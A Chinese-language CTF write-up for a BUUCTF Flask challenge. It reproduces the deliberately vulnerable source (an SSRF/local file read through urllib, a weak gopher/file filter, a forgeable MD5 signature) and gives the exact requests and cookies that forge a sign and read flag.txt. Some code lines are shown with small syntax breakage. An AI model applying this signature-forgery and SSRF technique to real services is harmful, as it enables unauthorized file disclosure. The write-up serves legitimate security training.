题目地址:buuctf
题目打开就是源代码
整理后的代码是
代码语言:javascript复制#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):#python得构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #查看是否存在这个文件目录,如果不存在创建一个
os.mkdir(self.sandbox)
def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数(scan是用来扫目录的)
result = {}
result['code'] = 500 #给result赋一个初值,后续会通过判断改变它的值
if (self.checkSign()): #对传参格式进行校验(action必须是readscan,否则字符串拼接后进行加密,与sign进行比对失败则无法正常运行)
if "scan" in self.action: #action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') # 对result执行写的命令
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"): # 如果没扫到目录的话(这条一般不会执行,所以看下面else就可以了)
result['data'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200 #注意缩进,这里不管扫没扫到目录,code的值都已经改变为200
if "read" in self.action:#action要加read
f = open("./%s/result.txt" % self.sandbox, 'r') 对result进行读的权限
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500: #这里进行判断,如果code值为500说明传参错误
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #!!!校验
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # !!!这个路由用于测试,/genesign这个目录是可以进去的
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])#这个路由是我萌得最终注入点
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')#根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()
def scan(param):#这是用来扫目录的函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key param action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#这个waf比较没用好像
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
关键代码
代码语言:javascript复制 def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数(scan是用来扫目录的)
result = {}
result['code'] = 500 #给result赋一个初值,后续会通过判断改变它的值
if (self.checkSign()): #对传参格式进行校验(action必须是readscan,否则字符串拼接后进行加密,与sign进行比对失败则无法正常运行)
if "scan" in self.action: #action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') # 对result执行写的命令
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"): # 如果没扫到目录的话(这条一般不会执行,所以看下面else就可以了)
result['data'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200 #注意缩进,这里不管扫没扫到目录,code的值都已经改变为200
if "read" in self.action:#action要加read
f = open("./%s/result.txt" % self.sandbox, 'r') 对result进行读的权限
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500: #这里进行判断,如果code值为500说明传参错误
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #!!!校验
return True
else:
return False
我们需要满足的条件就是getSign(self.action, self.param) == self.sign
即secert_key param action经过加密后与sign相同
其中action要包含read和scan
param是flag.txt
剩下的secert_key值我们还缺少,但是在/geneSign路由中,是能够得到正确的sign值的
/geneSign?param=flag.txtread得到c46a0b9db5c9a1f327f170ff8e185676
然后/De1ta?param=flag.txt
Cookie: action=readscan;sign=c46a0b9db5c9a1f327f170ff8e185676
参考文章:https://blog.csdn.net/weixin_43900387/article/details/105278192